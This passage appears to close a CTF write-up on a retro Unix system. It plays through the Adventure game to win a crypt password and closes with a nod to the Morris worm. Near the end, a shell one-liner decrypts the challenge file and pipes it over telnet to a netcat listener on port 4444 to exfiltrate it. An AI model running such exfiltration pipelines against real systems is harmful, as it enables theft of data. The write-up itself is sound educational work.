There is a persian rug spread out on the floor!

The body of a huge green dead dragon is lying off to one side.

There is a flag here.
take flag


You are currently holding the following:
Set of keys
Brass lantern
Wicker cage
2 of Diamonds
go east

A little dwarf just walked around a corner, saw you, threw a little
axe at you which missed, cursed, and ran away.

You're in secret e/w canyon above tight canyon.

There is a little axe here.
take axe

go east

There is a threatening little dwarf in the room with you!

One sharp nasty knife is thrown at you!

It misses!

You're in hall of mt king.

A cheerful little bird is sitting here singing.
throw axe at dwarf

You killed a little dwarf.  The body vanishes in a cloud of greasy
black smoke.

You're in hall of mt king.

There is a little axe here.

A cheerful little bird is sitting here singing.
go up

You're in hall of mists.

Rough stone steps lead up the dome.
go up

You're at top of small pit.

Rough stone steps lead down the pit.
go east

You're in bird chamber.
go east

You are in an awkward sloping east/west canyon.
go east

You're in debris room.

A three foot black rod with a rusty star on an end lies nearby.

You're inside building.

There is food here.

There is a bottle of water here.
drop flag

Congratulations! You have completed the 2 of Diamonds challenge.
The crypt(1) password for 2_of_diamonds.dat is `wyvern'.

A large cloud of green smoke appears in front of you.  It clears away
to reveal a tall wizard, clothed in grey.  He fixes you with a steely
glare and declares, "this adventure has lasted too long."  With that
he makes a single pass over you with his hands, and everything around
You fades away into a grey nothingness.

You scored 65 out of a possible 366 using 36 turns.

Your score qualifies you as a novice class adventurer.
To achieve the next higher rating, you need 36 more points.
crypt wyvern < /usr/games/lib/2_of_diamonds.dat | uuencode 2_of_diamonds.png | telnet 4444
Connected to
Escape character is '^]'.
Connection closed by foreign host.

And an outsider would never guess our secret password, "wyvern"—how many people would think of a mythological winged dragon when guessing our password?

wvu@kharak:~$ ncat -lv 4444 | uudecode
Ncat: Version 7.70 ( )
Ncat: Listening on :::4444
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
write: Broken pipe
wvu@kharak:~$ ls -l 2_of_diamonds.png
----------  1 wvu  2075806812  131776 Dec 18 13:44 2_of_diamonds.png
wvu@kharak:~$ chmod 644 2_of_diamonds.png
wvu@kharak:~$ file 2_of_diamonds.png
2_of_diamonds.png: PNG image data, 500 x 700, 8-bit/color RGBA, non-interlaced
wvu@kharak:~$ pngcheck -cv 2_of_diamonds.png
File: 2_of_diamonds.png (131776 bytes)
  chunk IHDR at offset 0x0000c, length 13
    500 x 700 image, 32-bit RGB+alpha, non-interlaced
  chunk pHYs at offset 0x00025, length 9: 2835x2835 pixels/meter (72 dpi)
  chunk sRGB at offset 0x0003a, length 1
    rendering intent = perceptual
  chunk gAMA at offset 0x00047, length 4: 0.45455
  chunk IDAT at offset 0x00057, length 131669
    zlib: deflated, 32K window, superfast compression
  chunk IEND at offset 0x202b8, length 0
No errors detected in 2_of_diamonds.png (6 chunks, 90.6% compression).
wvu@kharak:~$ md5 2_of_diamonds.png
MD5 (2_of_diamonds.png) = 46ff82c72e7491a451fef2e335dcb912

The worm turns, 30 years later

I hope you enjoyed this trip down memory lane with a little binary exploitation and shell trickery thrown in. Hopefully you were able to play along, too. While the system and and its software may not be relevant today, much of the same technical skill is relevant, especially for those new to the field.

The modules are available in the tree for your perusal and edification. Patches welcome! I'd love to write an encoder or even "invent" ROP, but maybe that's for someone more ambitious. This was just a side project, after all. Back to the present!

Happy birthday, Morris worm! And happy HaXmas to all!